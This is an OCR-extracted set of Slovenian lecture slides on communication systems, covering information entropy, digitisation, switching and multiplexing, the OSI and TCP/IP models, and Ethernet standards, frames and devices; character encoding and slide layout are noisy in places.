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Osnovni pojmi

Predmet: Komunikacijski sistemi
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lzvor, ponor, prenosna pot

= Prenosne poti
m kovinski vodniki, opti¢na vlakna, zrak, voda, ...
m ozi¢eno/brezzi¢cno
= Signali
m so fizikalne veli€ine, se spreminjajo s éasom
= lzvor in ponor
m morata biti usklajena za uspesen prenos informacij
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m Zapis signala v éasovnem in/ali frekvenénem prostoru
= Analogni signali in digitalni signali
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i Prednosti digitalnega zapisa informacij

= Moznost digitalne obdelave
m Kompresija
m Zascita pred napakami
n ...

= Ucinkovitejse hranjenje

= Ucinkovitejsi prenos

—
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Kolic¢ina informacij

Kolicina informacij je povezana s stopnjo nedolocCenosti
dogodka o katerem sporocamo

m dogodek mora zato imeti najmanj dva mozna izida

m izidi so nepredvidljivi oz. nakljucni
Primer 1: met kovanca

m dva mozna izida
m cifra, grb
m verjetnost posameznega izida je 1/2

Primer 2: obvestilo o stanju prizganosti luci v prostoru
m dva mozna izida
m prizgano, ne prizgano
m verjetnost (za primer, da je bolj verjetno, da bo lu¢ ugasnjena) npr.:
m prizgano 1/4
m heprizgano %
Posamezne dogodke lahko nanizamo v zaporedni niz
dogodkov
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Kako merimo informacijo

Teorija informacij
m Claude E. Shannon: A Mathematical Theory of Communication
m http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf

Entropija, bit, byte, ...
Primeri: Matlab A e

pX=[0.5, 0.5]
HX=sum (-pX.*log2 (pX))

pX=[0.9, 0.1]; 06+

HX=sum (-pX.*log2 (pX)) <08

pxX=[1, 0]; !

HX=sum (-pX.*log2 (pX)) ”'f
pX=[1/6,1/6,1/6,1/6,1/6,1/6] b

HX=sum (-pX.*log2 (pX)) Itf T A
HX=sum (-pX. *log2 (pX)) N L G L

pX=[1/2,1/10,1/10,1/10,1/10,1/10]
HX=sum (-pX.*log2 (pX))

px1=0:0.001:1;
HX=-px1l.*log2 (px1l) - (1-px1) .*1log2 (1-px1) ;
plot (px1, HX)

Shannonov 1. teorem: HX=<n=<HX+1; n bitov za zapis

( www.ltfe.org, Laboratorij za telekomunikacije
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http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf
http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf
http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf

| Digitalizacija: analogno <-> digitalno

= Pretvorba analognega signala v digitalni zapis:
1. (Casovno) vzoréenje (analognega signala)
= Nyquist-Shannonov (3.) teorem: o vzoréenju
2. Kvantizacija (vzorcev)

m Primer: digtalizacija govornega signala [0-4kHz] v 64 kb/s podatkovni

tok [ www itfeorp, Eaboratoriy 2a telekomunikacije’ &)
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Prenos signalov

Kodiranje

m Vizvoru (npr. A/D pretvorba, izlo€anje redundance, ...)
m Za boljSi prenos (npr. mehanizmi za zaznavo in odpravo napak, lazjo

sinhronizacijo izvora in ponora, za oblikovanje frekvenénega spektra)
Digitalni simboli in digitalni signal

Frekvencni spekter
Modulacija in demodulacija

—,
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| Elementi arhitekture IKT sistemov

= Terminali —-TE, (angl. Terminal Equipment)
= npr. mobilni telefon, osebni racunalnik z omrezno povezavo, ...

= Omrezni elementi — NE, (angl. Network Element)

= npr. usmerjevalniki (omrezja IP), centrale (omrezje ISDN), nadzorniki
baznih postaj (mobilna omrezja), ...

—,
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ﬂ Omrezne storitve

= Naslavljanje in prenos

= Mobilnost

s Zagotavljanje kakovosti storitev

= Varnostne storitve

= Avtentikacija, avtorizacija in belezenje
= Navidezna (virtualna) zasebna omrezja

www.ltfe.org, Laboratorij za telekomunikacije
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Telakomunikacie in informaciiske Tehnologle
Laborato uzatlekm nikacije
Fakulteta za elektrotehniko

Komunikacijski protokoli in
standardi

Predmet: Komunikacijski sistemi
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ﬂ Komunikacijski protokoli

= Protokol je nabor pravil in postopkov, ki dolo¢ajo in
uravnavajo obliko ter prenos podatkov med dvema
komunicirajo¢ima entitetama.

Obstaja vrsta organizacij, ki skrbi za pisanje standardov
oziroma priporocil, ki jih je potrebno upostevati pri
implementaciji protokolov.

= Protokoli, ki so v javni uporabi, so navadno standardizirani.

www.ltfe.org, Laboratorij za telekomunikacije
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| Komunikacijski standardi

s Standardi so dokumentirani dogovori, ki vsebujejo tehnicne
specifikacije ali druge natacno doloCene kriterije, ki se
konsistentno uporabljajo kot pravila, smernice ali definicije

lastnosti, da bi materiali, izdelki ali storitve ustrezale svojim
namenom.

= Zakaj jih potrebujemo:

7" Standards ‘{\\ Visible \
\,, imply J \_ Benefits

Reduction of

Interworking development costs

Equipments

Reduction of

deployment costs
Solutions

Interoperable

Market
Expansion

-
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| Posredovanje oz. prenos informaci;

= Nacin strukturiranja informacij za prenos (prek omrezja ali
prenosne poti) med ponorom in izvorom
m Paketno posredovanje
m Tokokrogovno posredovanje

s Podporne informacije in mehanizmi za posredovanje
m Kontrolne informacije v protokolnih podatkovnih enotah
m Signalizacija

—,
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| Tokokrogovna komutacija

= Nekomutirane
tokokrogovne
povezave

= Tokokrogovna
komutacija

m fleksibilno
postavljanje
tokokrogovnih
povezav

m statiCna
topologija

m dinamiéna
topologija

-
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Paketna komutacija

Paketna (celicha) komutacija
m vsak paket (PDU) nosi vse podatke
m paket je lahko spremenljive dolzine

za usmerjanje skozi omrezje

m izvor lahko oddaja toliko paketov, kot to dopus¢a celotno omrezje
(ne pa le kapaciteta tokorogovne povezave)

—l,
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Multipleksiranje podatkovnih tokov

Prostorsko multipleksiranje (ang. SDM — Space Division)

m uporaba lo€enih prenosnih poti, npr.:
m shopi vodov, npr. opti¢ni kabli

m prostorsko pogojeno ponavljanje frekvenénih obmogij, npr. celiéni sistemi
mobilnih komunikacij

Casovno multipleksiranje (ang. TDM — Time Division)

m Casovno dodeljevanje moznosti/pravice do uporabe prenosne poti
med ve¢ uporabnikov

Frekvencno multipleksiranje (ang. FDM — Frequency
Division)

m uporaba razliénih frekvenc¢nih (pod)pasov za prenos
Kodno multipleksiranje (ang. CDM — Code Division)

m signhale mnozimo z ortogonalnimi pseudo-naklju¢nimi nizi
m frekvecni spekter je razprsen

Mozna kombinacija razlicnih tehnik

—l,
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| Multipleksiranje pri razlic. komutacijah

= Tokokrogovna

4000 I I I

3000

2000

1000

0
0 50 100 150 200 280 300

= Paketna

m belo oznacene povrsine: trenutno neizrabljena pasovna Sirina

{ www.ltfe.org, Laboratorij za telekomunikacije
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| Znacilnosti razlicnih posredovanj

Tokokrogovno Paketno
posredovanje posredovanje
= stalno zagotovljeni viri v = moznost statistiChega
omrezju multipleksiranja
= ni medsebojnega vpliva = moznost podpore izbruhom
Prednosti povezav prometa
= predvidljive zakasnitve, = omejitve oddaje sporodil
majhno potresavanje postavlja omrezje
zakasnitve (netokokrogovna povezava)
= kakovost
= lahko slabsa izkoriS¢enost = zakasnitve pri prenosu niso
virov v omrezju (odvisno od nujno predvidijive
tipa prometa) = v nepovezavnih omrezjih veéja
Slabosti = nujno je vzpostavljanje verjetnost napak, manjsa

povezav

zanesljivost

= medsebojni vpliv posameznih
tokov sporogdil

= potrebna je obdelava vsakega
posameznega paketa

——
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Povezavna in nepovez. usmerjenost

Povezavno usmerjene komunikacije
m vzpostavitev zveze/seje

m izbor partnerja oziroma konéne naprave, ugotavljanje pripravljenosti

kon¢ne naprave, preverjanje virov omrezja in njihovo zasezenje ter
vzpostavitev povezave,

m prenos podatkov
m transparentna izmenjava podatkov
m sprostitev zveze
m sprostitev uporabljenih naprav in prenosnih kanalov.

Nepovezavno usmerjene komunikacije

m terminali oddajajo pakete brez poprejSnje vzpostavitve zveze/seje s
ciljnim terminalom, tudi sprostitve zveze ni

m obstoji samo faza prenosa podatkov
m podatkovni paketi vsebujejo izvorni in ciljni naslov

—l,
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| Znacilnosti razlic. tipov povezavnosti

Povezavno

Nepovezavno

= mozna vecja zanesljivost
prenosa, odprava napak

= enostavnost

kompleksnejsSa

Prednosti .
= moznost nadzora pretoka
koli€ine sporodil, preprecevanje
zasi¢enja
= potebujemo signalizacijo = hezmoznost zanesljivega
) i i prenosa, zagotavljanja vrstnega
Slabosti = protokoli/omrezja so

reda prenesenih sporodil

——
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Relacija povezavnost - komutacija

Tokokrogovna omrezja so vedno povezavno usmerjena
m povezavnost zagotavlja/vsiljuje ze sam fizi€ni tokokrog
Paketna omrezja/povezave so lahko povezavno ali

nepovezavno usmerjena
m (ne)povezavnost je odvisna od uporabljenih komunikacijskih

protokolov
Komutacija
Tokokrogovna Paketna

§ Povezavno ISDN, PSTN, SDH ATM, MPLS
R

N

(D)

3

a Nepovezavno / Ethernet, IP

www.ltfe.org, Laboratorij za telekomunikacije
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Umestitev tehnologij

Omrezne tehnologije

Tokokrogovno posredovanje

Staticna

Dinamicna

Paketno posredovanje

DWDM, SDH

ISDN, DTM

Povezavna Nepovezavna
usmerjenost usmerjenost
TCP, MPLS IP, Ethernet

—l,
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Primerjava prenosnih tehnik

Synchronous Transfer Mode

Elementarna enota: Casovno okno v okviru
Povezava: Stalno ¢asovno okno v okviru

Packet Transfer Mode

|||||||| """ ey e L = ||
...... T 1T 111111
Elementarna enota: bit
Povezava: Spremenljivo t. bitov

Asynchronous Transfer Mode - ATM

Elementarna enota: bit
Povezava: Stalno Stevilo bitov (=CELICA)

—l,
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Tefekomunkacie In Informacyske Tehnologle.
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

OSlI referenéni model in primeri

www.Itfe.org, Laboratorij za

i .

| Komunikacijski skladi

Nivojski modeli

= interoperabilnost

= neodvisnost slojev

= transparentne storitve

m komunkacijski vmesnik in pristopne tocke
Protokol

= nabor pravil in postopkov, ki dolo¢a naine komunikacije med/v

nivojih

= navidezne horizontalne povezave

= prenos podatkov poteka vertikalno

= protokoli so standardizirani

= implementacija je poljubna
= OSI

= Referenéni model
Prakti€ni modeli
= na primer: protokolni sklad TCP/IP

—4
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i OSI Referenc¢ni model

= Aplikacijski (L7)

= Predstavitveni (L6)

= Sejni (L5)

= Transportni (L4)

= Omrezni (L3)

= Podatkovni (L2)

= Fiziéni (L1)

je fizicni sloj. Fizicni sloj je
odgovoren za vzpostavitev,
vzdrzevanje in rus$enje fizi€nega
tokokroga med konéno
podatkovno opremo in opremo
za zaklju¢evanje podatkovnih
vodov. Za fizi€ni sloj je bilo
napisanih in objavljenih mnogo
standardov, med njimi sta tudi
RS-232in V.24.

( www.ltfe.org, L ij za 4
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OSI referen¢ni model — L2

= Sloj podatkovne povezave

= Ta sloj v OSI modelu je sloj
podatkovne povezave.
Odgovoren je za varen in
uspesen prenos podatkov preko
kanala. Sinhronizira pretok
podatkov iz fizi€nega sloja in
skrbi za identiteto bitov. Ena
izmed najpomembnejsih funkcij
tega sloja je, da ugotavlja

yer 2 - Data Linl

ishes Data Links, Release
Error and Flow Control

napake, kot so izgube,
podvajanje ali spremembe
podatkov, ter jih skusa popraviti.

( www.ltfe.org, L ij za S)

OSI referen¢ni model - L3

= Omrezni sloj

= Vsebuje znanje o omrezjih, ki mu
dovoljuje vzpostavljanje poti po
razliénih vodih za dostavo paketa
podatkov do konénega vozlisca.
Ta sloj poskrbi tudi za vmesnik
med DTE in paketno komutiranim
omrezjem in/ali za vmesnik med

ayer 3 - Networ

Iting, Switching, Segmentin

2 } dvema DTE omrezjema,
ishes Data Links, Releases povezanima preko paketno

Error and Flow Control komutiranega omrezja. Dolo¢a
tudi usmerjanje in komunikacijo
med omrezji, odgovoren pa je

“Control of Data Circuits tudi za odpravljanje in
preprecevanje zamasitev.
[ www.ltfe.org, L ij za 6
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OSI referenc¢ni model - L4

User Application Process and
- Management Functions

and Code Transformation

al, Mechanical, Funct

~ Control of Data Circuits

jer 7 - Applical;f

" Data Interpretation, Format

= Transportni sloj

= Poskrbi za vmesnik med
podatkovnim komunikacijskim
omrezjem in med zgornjimi tremi
sloji OSI modela. Ta sloj, kjer je
to primerno, preoblikuje

uporabniska sporogéila v okvirje
ali pakete. Ta sloj je, v primeru da
podatkovni okvirji ne prispejo do
sprejemnega konca, odgovoren
za ponovno posiljanje teh
okvirov. Transportni sloj je
dolzan zagotavljati neoporec¢na
sporocila brez napak slojem nad
njim.

[ www.ltfe.org, L ij za

OSl referen¢ni model - L5

Electrical, Mechanical, Function:
~ Control of Data Circuits

= Sejni sloj
= Odgovoren je za uporabniski
vmesnhik do storitev L4. Vsebuje
urejene metode izmenjevanja
podatkov med uporabniki.

Omogoca izbiro tipa
sinhronizacije in nadzora, kot so
alternirajoc¢i dvosmerni dialog in
simultani dvosmerni dialog;
sinhronizacijske tocke za
vmesno preverjanje in obnovitev
prenosa datotek ob napaki;
predéasna prekinitev in ponovni
zagon; in obi¢ajen ter pospesen
pretok podatkov. Vzpostavlja in
izpogaja zacetek seje.

[ www.ltfe.org, L ijza
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OSI referen¢ni model - L6

= Predstavitveni sloj
= Odgovoren je za sintakso oz.

predstavitev podatkov. Sprejema
tipe podatkov (character, integer)
iz aplikacijskega sloja in se nato
odlo¢a, skupaj z njegovim
usklajevalnim slojem, kot je npr.
ASCIl itd., za sintaksno
reprezentacijo. Preprosteje
povedano, ta stopnja je
zadolzena in odgovorna za
formatiranje oziroma oblikovanje
podatkov.

[ www.ltfe.org, L ij za 9)

Sl referen¢ni model - L7

= Aplikacijski sloj

r Application Process a
1 Management Functions

= Podpira aplikacijske procese
konénega uporabnika in se
ukvarja s semantiko podatkov.
Skrbi tudi za to, da storitveni
elementi dokon¢ajo ter zakljuéijo
aplikacijske procese, kot so
izmenjava finanénih podatkov,
zmenjava poslovnih podatkov,
upravljanje z delom ipd.

LTFE - Laboratorij za telekomunikacije, Fakulteta za elektrotehniko



OSI RM - vertikalna komunikacija

User A User B

Layer N + 1

Request Confirm

( www.ltfe.org, L ij za 13

- -
OSI Referenéni model
SLOJ
Logiéna komunikacija —
7 Aplikacijski IL —I Aplikacijski I
?
6 Predstavitveni Predstavitveni -
)
5 &
— B
=
4 Transportni Transportni g
5
o
<
| Prenosni medij |
I{ www.ltfe.org, L j za 12
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= ]
ﬁ OSI RM - sestavljanje PDU
m OSl referenéni model sam po sebi ne predstavlja standarda
temvecé okvir, v katerem se sprejemajo standardi
Layer N Layer N
header PEDIEEE trailer
[L7[  userdata [L7]
[L6]L7]  Userdata  [L7]L6]
[L5]L6[L7]  userdata  [L7[L6[L5]
[La]Ls[L6]L7]  userdata  [L7[L6[L5[L4
[L3[La]L5[L6]L7]  userdata  [L7[L6][L5[L4[L3]
[L2][L3]La[L5]L6]L7]  userdata  [L7]L6[L5[L4]L3]L2]
[La]L2]L3La]is|ie]L7]  userdata  [L7]L6[L5[L4]L3[L2]L1]
I{ www.ltfe.org, Laboratorij za 13

m Potek komunikacije

P osai]
“ Aplikfjski Aplikacijski | "
i/ Predstgvitveni Predstavitveni \\/

Sepni Sejni
Transportni Trgnsportni
Oomrgzni — Qmrezni
Povezavni Omrezm. P¢vezavni

Povezavni izicni
Fizicni Fizi¢ni
£ Omreiin;r / \ 1 Omrezni
Povezavn IPovezavni
Fiziéni ¥ |ee—— | Eizizni v

www.ltfe.org, Laboratorij za i 14)
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i Primerjava OSl in TCP/IP modela

= OSI sklad je bolj sistematic¢en in konceptualen
= Plasti sklada IP niso strogo definirane in loéene med seboj
= OSI sklad je zgolj referenéni model in nikoli ni v celoti

“zazivel”
oSl TCP/IP
L7 | Aplikacijski | Aplikacijski | HTTP

e ...............
L4 | Transportni Transportni | . ee m
e
2 ovezm ]

U [Fiemi | Fiziéni LAN

( www.ltfe.org, L ij za 19
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Telekomunkacie In Informaciske Tonologle
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

llleE

Lokalna omrezja
Tehnologija Ethernet

{ www.ltfe.org, Laboratorij za
T

= Lokalna omrezja
= Tehnologija Ethernet

{ www.Itfe.org, Laboratorij za
T



Sodobni komunikacijski sistemi

Izdelava vsebin

e If hilie \
Tokokrogovni N
a5 Podatkovne storitve
-~ in Internet
Fiksni sistemi
<>
8 Paketni
’E‘, Paketni o
= 0 o
E S5
© e Video storitve S_
c " =k
g »g Tokokrogovni =
_g %’ Brezziéni in ~ > @
© N mobilni sistemi [=}
= @ =t
o - @
S— £ Paketni Tokokrogovni <
© Govorne storitve =3
= A Q 0 5
o
2 |\ b
o =
o Analogni
<>
~— sistemi
Poslovni procesi
ﬁ Digitalni
~— 2
D povna omrezja Hrbteniéna omrezja Storitveni
‘ Nacrtovanje, upravljanje in nadzor sistemov
{ www.ltfe.org, Laboratorij za

Operatersko omrezje — Internet

IPv4 in IPv6
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| Internet

Zelo veliko stevilo konénih odjemsz

= osebnirac¢unalniki, delovne postaje, pi
pametni mobilni telefoni

Razliéne komunikacijske povezave

= optika, baker, brezzi¢ni in mobilni, satt;..u
Usmerjevalniki

= usmerjajo in posredujejo pakete
Internet je “omrezje omrezij”

m omrezja, ki so med seboj povezana

ﬁ

[ www.ltfe.org, Laboratorij za el

m Glede na doseg pokrivanja

= osebno omrezje

= PAN - Personal Area Network
= lokalno omrezje

= LAN - Local Area Network
= omrezje v kampusu

n CAN - Campus Area Network
= mestno omrezje

= MAN - Metropolitan Area Network
= prostrano omrezje

= WAN - Wide Area Network

m Omreijl PAN in LAN — domaéa omreija Vir: http://en.wikipedia.org/wiki/Internet
= Omrezja PAN, LAN, CAN - omrezja v poslovnih okoljih
= Omrezji MAN in WAN - operaterska omrezja

www.Itfe.org, Laboratorij za i 6 )
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| Lokalna omrezja — LAN

= Osnovni elementi omrezja
= terminalna oprema
= osebni racunalniki delovne postaje

m strezniki, omrezni tiskalniki

= omrezna oprema
= stikala, usmerjevalniki, pozarni zidovi, brezzicne dostopovne tocke
= Komunikacijske povezave med elementi omrezja
= opticne, bakrene, brezzi¢ne
m “de-facto” standard predstavlja tehnologiji Ethernet

= Namen omrezja — zagotavljanje omreznih storitev
= prenos datotek — protokol FTP (angl. File Transfer Protocol)
= prenos elektronske poste — SMTP (angl. Simple Mail Transfer Protocol)
= spletne storitve — HTTP (angl. HyperText Transfer Protocol)
= upravljanje naprav — SNMP (angl. Simple Network Manage Protocol)

[ www.Itfe.org, Laboratorij za

LOFE

Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Tehnologija Ethernet

www.ltfe.org, Laboratorij za
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m Zacetki Ethernet

= Ethernet = Ether + Net S
= 1973! B B
= Xerox PARC e e
= Robert Metcalfe v ,L?l%l %‘__, e

Py . . THE ETHER 7
= IzhodiS¢a pri razvoju

n deluje po principu “plug and play”

= poceni in preprosto povezovanje racunalnikov v omrezjih LAN
= skupen prenosni medij — koaksialni kabe'

'n oo vese e |

= osnova za prenos — protokol CSMA/CD

{ www.ltfe.org, Laboratorij za 9 )

” Razvoj Ethernet-a

= 1970 Aloha — University of Hawaii
= 1973 Xerox — 3 Mbit/s Ethernet
= 1980 standard DIX (Digital, Intel in Xerox) v1.0 — Ethernet
= 1982 standard DIX v2.0 — Ethernet Il
= 1983 IEEE 802.3 — 10Base5 (thick)
= 1985 IEEE 802.3a — 10Base2 (thin)
= 1990 IEEE 802.3i — 10Base-T
= 1995 IEEE 802.3u — 100base-T
= 100base-TX, 100base-T4, 100base-FX (optika)
= 1997 IEEE 802.3x — standard za full-duplex
= 1998 IEEE 802.3z — 1000base-X (Gigabit Ethernet)
= 1998 IEEE 802.3ac — VLAN
= 2003 IEEE 802.3ae (optika)
= 2006 802.3an —10G (UTP)

T

www.ltfe.org, Laboratorij za i 10




Ethernet in referenéni model OSI

Referenéni model OSI Referenéni model Ethernet (IEEE 802.3)

A
Aplikacijska plast
A
Predstavitvena plast

802.1 oz. 802.2

802.3
Ethernet

{ www.ltfe.org, Laboratorij za 1 )

Znacilnosti tehnologije Ethernet

= Tehnologija v osnovi razvita za okolja LAN

n deluje po princip "Plug and Play” \\g‘ \\

= ni¢ ni potrebno nastaviti, vse se zgodi avtomatsko

= Tehnologija Ethernet
n fizicni vmesniki Ethernet
= prenosne hitrosti 10/100/1000/10000/40000 Mbit/s
n prenos prek optiénih vodnikov in bakrenih vodnikov
m brezzi¢ni Ethernet — WiFi/WLAN
= omrezna oprema Ethernet
= angl. hub, bridge, switch

m podporni mehanizmi Ethernet
= VLAN (angl. Virtual LAN) — mehanizem za virtualizacijo omrezja
n STP (angl. Spanning Tree Protocol) — mehanizem za preprecevanje z
= zagotavljanje velike razpolozljivosti in redundantnih povezav

= PoE (angl. Power over Ethernet) — napajanje naprav prek Ethernet

= Link aggregation — zdruzevanje fizicnih PLmasnikovm Eaborstor .
WWW.| .org, atorij za 2 J




| Komponente omrezja Ethernet

= Konéne naprave Ethernet
= osebniracunalniki, delovne postaje, strezniki, IP telefoni
= usmerjevalniki, pozarni zidovi
= Omrezna oprema Ethernet
m stikalo Ethernet (angl. switch) — aktivno vozlisce
= obnavljalnik/vozel Ethernet (angl. hub) — pasivno vozlisce

Omrezje Ethernet

[ www.ltfe.org, Laboratorij za 13}

)| Okvir Ethernet in uporabniska vsebina

= Uporabniska vsebina se prenasa v okvirjih Ethernet
= uporabniska vsebina — paketi IPv4, IPv6, ARP, MPLS
= Naloga okvirja Ethernet
m prenos “bitov — uporabnisSke vsebine” prek fizi€nega medija
= naslavljanje Ethernet naprav, odkrivanje napak pri prenosu
m Vsebina in velikost okvirja Ethernet je za vse verzije Ethernet-a
enaka
= omogoca zdruzljivost “novih razli¢ic” Ethernet-a za obstojecimi
= dokler se uporabniSka vsebina prenasa prek Ethernet omrezja, se okvir ne
spreminja
m Znacilnosti okvirja Ethernet
= velikost okvirja je 1518 oktetov
= velikost “glava + rep” je 18 oktetov
m velikost koristne vsebine je 1500 oktetov (npr. paketa IPv4)

Ethernet glava r'ep  soratorij za ije 14




| Struktura okvirja Ethernet

= Preamble - niz potreben za
sinhronizacijo (1010 ...)

= zdruzljivost za nazaj — 10 Mbit
Ethernet (asinhron)

= SFD (Start Frame Delimiter) — konec
sinhronizacije (niz 10101011)

= Destination/source

= ciljni/izvorni naslov MAC

Okvir IEEE 802.3

Preamble SFD
7 1

Okvir Ethernet Il — DIX v2

preamble
8

= Length/Type

= vrednost manjSa od 600 HEX (=1536
dec) - polje Length

= vrednost enaka ali vec¢ja od 600 HEX
- polje Type

= 0800HEX = IPv4, 806HEX=ARP
= PAD - polnilni biti

= FCS - polje za zapis izraCunane
vrednosti CRC

{ www.ltfe.org, Laboratorij za

olomenkaole In informoojsks tehnologle
Laboratorij za telekomunikacije

Fakulteta za elektrotehniko

Vmesniki Ethernet

www.ltfe.org, Laboratorij za

-




| Ethernet vmesniki

m Ethernet fizicni vmesniki — trenutne hitrosti vmesnikov
= 10 Mbit/s, 100 Mbit/s, 1 Gbit/s, 10 Gbit/s, (40 Gbit/s, 100 Gbit/s)

= Mehanizem za avtomatsko prilagajanje hitrosti in nacin delovanja
= half duplex, full duplex

= npr. vmesnik 1000BASE-T lahko deluje z razliénimi hitrostmi: 1000 Mbit/s,
100 Mbit/s, 10 Mbit/s

= odvisno od hitrosti vmesnika na napravi (stikalo) na katero je priklju¢en
= Prenos v osnovnem pasu (base band)
= omogoca neposreden prenos prek razlicnih medijev \
= bakreni vodniki (npr. vodnik UTP, konektor RJ45)
= opti€éni vodniki (npr. ve€rodovno vlakno MM, konektor LC)

Q ) Vecrodovno opti¢no viakno
s konektorjem LC
Konektor RJ45

Kabel UTP

[ www.Itfe.org, Laboratorij za 17 )

)| Ethernet — ozicenje UTP

= Kabel UTP - 8 zilni kabel (4 pari) B
m oranzna, oranzno-bela S
m zelena, zeleno-bela
= modro, modro-bela
m rjava, rjavo-bela

= Konektor RJ45
= moski del «oF

= Zenski del W"'Q;" : '

2 2

= Klasi€en kabel UTP “straight through i — :
m povezovanje sponk konektorjev 2 —————— :

T o — — — — 7

8 8

www.ltfe.org, Laboratorij za i 18 )
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i Ethernet standardi

= Ethernet vmesniki = Ethernet naprave

1

802.1 Brldge

www.Itfe.org, Laboratorij za

i Fiziéni in povezavni sloj Ethernet

I Fizi¢ni medij |

l@

[ www.lItfe.org, Laboratorij za
8




m kolizijske domene “collision domain”
= MAC - tipi
m deterministi¢ni — ne prihaja do kolozij (taking turns)
= FDDI
= fizi€no — topologija dvojnega obroca
= logiéno — topologija obroca
= Token Ring
n fizi€éno — topologija zvezde

= logiéno - topologija obro¢a

= nedeterministi¢ni — lahko prihaja do kolozij (first come, first served) ==

m CSMA/CD - Carrier Sense Multiple Access/Collision Detection Ethernet
= fizi€no - topologija zvezde ali vodila ﬁ E
= logi¢ni — topologija vodila
H—= i
Ethernet
[ www.Itfe.org, Laboratorij za 21 )

) 10Base5 in 10Base2

= Prenosni medij — 10base5

m “debeli” koaksialni kabel - "thick” (50 Ohm)
= maksimalna dolzina 500 m _{me
= odlicna zas¢ita pred zunanjimi motnjami .

= Prenosni medij — 10base2

= “tanek” koaksialni kabel - "thin” (50 Ohm)

s— e
= maksimalna dolzina 185 m

2 2
L

Link Segment Link Segment

n dobra zaséita pred zunanjimi motnjami
= Fiziénol/logi¢no topologija vodila
= Prenosni nacin half-duplex
= Teoretiéna hitrost 10 Mbit/s ;

o
= Pravilo 5-4-3
n 5 - Stevilo segmentov
¢

= 4 - Stevilo regeneratorjev (repeater)

n 3 — Stevilo segmentov na katere
lahko priklju¢imo terminale

www.ltfe.org, Laboratorij za i 22 )
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| 10Base-T

Terminali so centralno povezani na "hub™ ali stikalo

m fizi€éno topologija zvezde

= logiéno topologija vodila Q,
Prenosna nacina

= osnovna verzija half-duplex ] - L
=7 =

m kasneje dodan full-duplex ’

m Teoreti¢na hitrost —
= 10 Mbit/s (half-duplex) E'
= 20 Mbit/s (full-duplex)
= Prenosni medij ouer Twisted Pair
= kabel UTP ! J}, .
= Categorija 3 oz. boljsi *«/}J *:‘E[?.Zﬂﬁ:
= maksimalna dolzina 100 SO
n konektorji RJ-45 =
( www.Itfe.org, Laboratorij za 23

) 100 Mbit/s — Fast Ethernet

Jacket (Typically PVC)

= Najbolj razSirjena standarda
= 100Base-TX

= prenosni medij UTP Cat 5
n konektoriji RJ-45

Cladding
Core
= 100base-FX o .J”

= prenosni medij veérodovno opti¢no viakno
= konektorji ST ali SC

= Kodiranje 7
x 4BI5B *
= linijsko kodiranje: MLT-3 (UTP), NRZI (optika) e
m Teoreti€na hitrost

= 100 Mbit/s (half-duplex)
= 200 Mbit/s (full-duplex)

Strengthening Material
(Aramid Yarn)

Buffer

-m

SC Connector

www.ltfe.org, Laboratorij za i 24 )
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l 1000 Mbit/s — Gigabit Ethernet

= 1000Base-T, 1000Base-SX, 1000Base-LX
= Prenosni medij UTP ali opti€éno vlakno

[ I [ I
10-micron single mode fiber
1 | 1 |
1000BASE-LX < |50-micron multimode fiber
| | | |
62.5-micron multimode fiber |

Medium Access Control
Full Duplex and/or Half Duplex

’ | ‘ | Gigabit Media Independent
Interface (GMII)
p0-micron single mode fiber I I
1000BASE-SX | | |
62.5-micron multimode fiber 8B/10B c‘é’:‘m::l”
’ | Encoder/Decoder Dacodor

I I | I

1300-nm 850-nm Copper uTP

1000BASE-T  [Category 5 UTP

T T I T
1000BASE-LX| [1000BASE-SX| [1000BASE-CX| | 1000BASE-T

1000BASE-CX | Shielded mblu‘

25m 50m 250m 500m 2500m 5000m

{ www.Itfe.org, Laboratorij za 25 )

| 1000Base-T

= Prenosni medij — kabel UTP Cat 5e
= uporabljeni so vsi Stirje pari

= Simultan full-duplex prenos omogoc¢a hitrosti do 1 Gbit/s
n 4*250Mbit/s

= Zdruzljiv s standardoma 10base-T in 100base-TX

www.ltfe.org, Laboratorij za i 26
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m Koncept delovanja — 1000Base-T

m Sporocilo se razdeli na stiri vzporedne nize

= vsak niz se posebej kodira, odda, sprejme, dekodira
= Linijsko kodiranje je 17 nivojsko

= velika obcutljivost na Sum

= zelo pomembna je kvaliteta kablov in izvedba zakljuéitev

—p>—| = Twisted Pair Ip e
<§]4— S g —DB>—(> Outbound (Tx) signal
Q
—"D [% Twisted Pair % 4 ﬁﬂ
& 3 a —op—>
— — Actual signal on the cable
—f>—o ‘:gt, Twisted Pair % +—<k
SRk 2 —s
[ ] Twisted Pair =]
—>>—>| % %: —<qj—

[ www.ltfe.org, Laboratorij za

27 )

m 1000Base-SXin 1000Base-LX

= Kodiranje
= 8B/10B
= linijsko kodiranje NRZ
= Prenosni nacin full-duplex (dve opti¢ni viakni)
= 1000Base-SX
= prenosni medij — veérodovno opti¢no viakno
= oddajnik — laser ali LED (850 nm)
= cenejSi, krajSe razdalje (do 500 m)
= 1000base-LX
= prenosni medij — enorodovno/ve€érodovno optiéno viakno

= oddajnik — laser (1300 nm)
m drazji, daljSe razdalje (do 5000 m)

www.ltfe.org, Laboratorij za

T

28




Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Ethernet omrezne naprave

[ www.Itfe.org, Laboratorij za

H Ethernet omreznih naprav

Obnavljalnik (angl. regenerator)

= dvo portna naprava, ki zgolj slepo prenasa okvirje iz enega omrezja v drugo
omrezje (deluje na sloju L1)

Vozel (angl. hub)
= obnavljalnik z ve¢ vrati (porti)
Premoscevalnik (angl. bridge)

= naprava, ki prenasa okvirje iz enega omrezja v drugo omrezje glede na
naslov MAC (deluje na sloju L2)

m gradi si tabelo, v katero si zapisuje, s kakSnimi naslovi prihajajo okvirji prek
doloéenih vrat. Okvir posSlje samo na tista vrata, katerih naslov ustreza
ciljnemu naslovu zapisanem v glavi okvirja Ethernet.

Stikalo (angl. switch)
= premoscevalnik z ve¢€ vrati (porti)
Usmerjevalnik (angl. router)

m naprava, ki prenasa pakete IP iz enega omrezja v drugo omrezje glede na

www.ltfe.org, Laboratorij za

naslov omreznega nivo (deluje na sIojuTI 3)
T

30




Omrezne naprave — umestitev v OSlI

G pons
usmerjevalnik
—_— e -

premoscevalnik,

stikalo
Ethernet rep L2

b

obnavljalnik,
vozel (hub) A
q 010101010101000010101111111010101111 L1
.
